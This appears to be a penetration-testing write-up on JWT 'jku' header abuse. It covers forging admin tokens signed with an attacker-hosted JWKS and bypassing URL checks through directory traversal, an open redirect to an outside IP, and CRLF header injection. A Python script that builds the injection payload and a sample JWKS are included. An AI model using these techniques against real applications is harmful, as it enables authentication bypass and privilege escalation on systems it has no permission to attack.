jku-header-bypass
JKU Header Bypass
Misuse of the jku (JSON Web Key URL) header in JWT can allow an attacker to forge valid tokens and escalate privileges (e.g., become admin).
JWT supports referencing a public key via a URL in the header (jku).
If the application blindly trusts this URL, authentication is broken.
What is jku?
jkuis a JWT header parameter- It points to a remote JWKS (JSON Web Key Set) file
- The application downloads the public key from this URL to verify the token signature
Example JWT header:
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://example.com/jwks.json"
}
Root Cause
The application:
- Accepts any
jkuURL from the token - Fetches the public key from that URL
- Uses it to verify the JWT signature
Attackers can host their own JWKS file, sign tokens with the matching private key, and the app will accept them as valid.
Attack Concept
- Generate your own RSA key pair (JWT Editor to generate JWK and use key values like below)
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": "attacker-key",
"n": "BASE64URL_MODULUS",
"e": "AQAB"
}
]
}
- Host a JWKS file with key contents in same format as above.
- Forge a JWT:
- Set
jkuto your hosted JWKS URL (as seen below) - Set
algtoRS256 - Modify payload (e.g.,
"admin": true) or set username to admin.
- Set
- Sign the token with generated private key like so:
- Application verifies using your public key → access granted.
Workaround Techniques
- If there is validation for jku header that looks for "example.com" domain, we can abuse file upload functionality to upload our custom
jwks.jsonand use that link as bypass. - If the url is looking for: "
http://example.com/.well-known/" we can use directory traversal in jku header for bypass:http://example.com/.well-known/../8e844e73-6f1d-4622-9281-0905d9c51e95.jsonfor uploaded file. - If we can't find file upload feature but find Open Redirect feature, we can use jku header as:
http://example.com/.well-known/../redirect?redirect_uri=http://129.154.241.42:5959/jwks.jsonto use our custom pub/priv key for signature generation. - Header Injection can also be used for workaround.
Header Injection Details
If an application reflects user input into HTTP response headers without sanitizing CR/LF characters, an attacker can inject new headers using:
%0d = Carriage Return (CR)
%0a = Line Feed (LF)
Example payload:
/debug?value=1337%0d%0aCustomHeader:%20AnyThingHere
Response becomes:
Debug: 1337
CustomHeader: AnyThingHere
This is called HTTP Response Header Injection / CRLF Injection.
If we inject double Carriage Return & Line Feed like so:
/debug?value=1337%0d%0aCustomHeader:%20AnyThingHere%0d%0a%0d%0aBODYVALUE'
We now have a BODYVALUE as well where we can add our jwks.json content.
We can use following python script that does it:
#!/usr/bin/env python3
import urllib.parse
with open("jwks.json", "r", encoding="utf-8") as f:
body_content = f.read().strip()
content_length = len(body_content.encode("utf-8"))
body_encoded = urllib.parse.quote(body_content, safe="")
injection = (
"/debug?value=1337%0d%0a"
f"Content-Length:{content_length}%0d%0a"
"%0d%0a"
)
full_payload = injection + body_encoded
print("Full URL-encoded payload (ready to paste):")
print(full_payload)
print("\nDecoded version (for human eyes):")
print(urllib.parse.unquote(full_payload))
Make sure to use jwks.json file that has only required values. For Example, jwks generated by BurpSuite is huge and can't be parsed by the server.
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"e": "AQAB",
"kid": "89c7383d-ce25-4ef9-a731-cd41f0b3ef6a",
"n": "o8gUnKX6FyYui15XuAetFKY9BP06lZYx7ylePHgdDlW2GVPRFQPT_4h3qJjHsLhoOcxnanhWif9yxQYkkc3r8LDXT6Kgu54VqBgSvtCLsIp0rs35O0ILMKydVDsVC5rYLm6wUCr43IlXHg6xEdCX4SELDu0zwnp6zufxDgfNjlpk_HR8cqmvAzF5XCcNEJGeZ2RPtXAaLjdvlZAFiRRL_0PMBB-Ey6h8lyPSsM8t3sf4yg5ldZaq8pQAnETaMedtRDGCtxd-dJR0YvnmXphyb19o6344PNn55Guk1U8GbaUrsIhLUPz4aO9Cu0NA6EHT-NDrPfxu0E9fvTWGe1_HSw",
"alg": "RS256"
}
]
}
Then we can use the link generated by the script to pass at jku header value and sign a new token. If it looks for a certain path such as /.well-known we can apply the directory traversal technique to bypass it.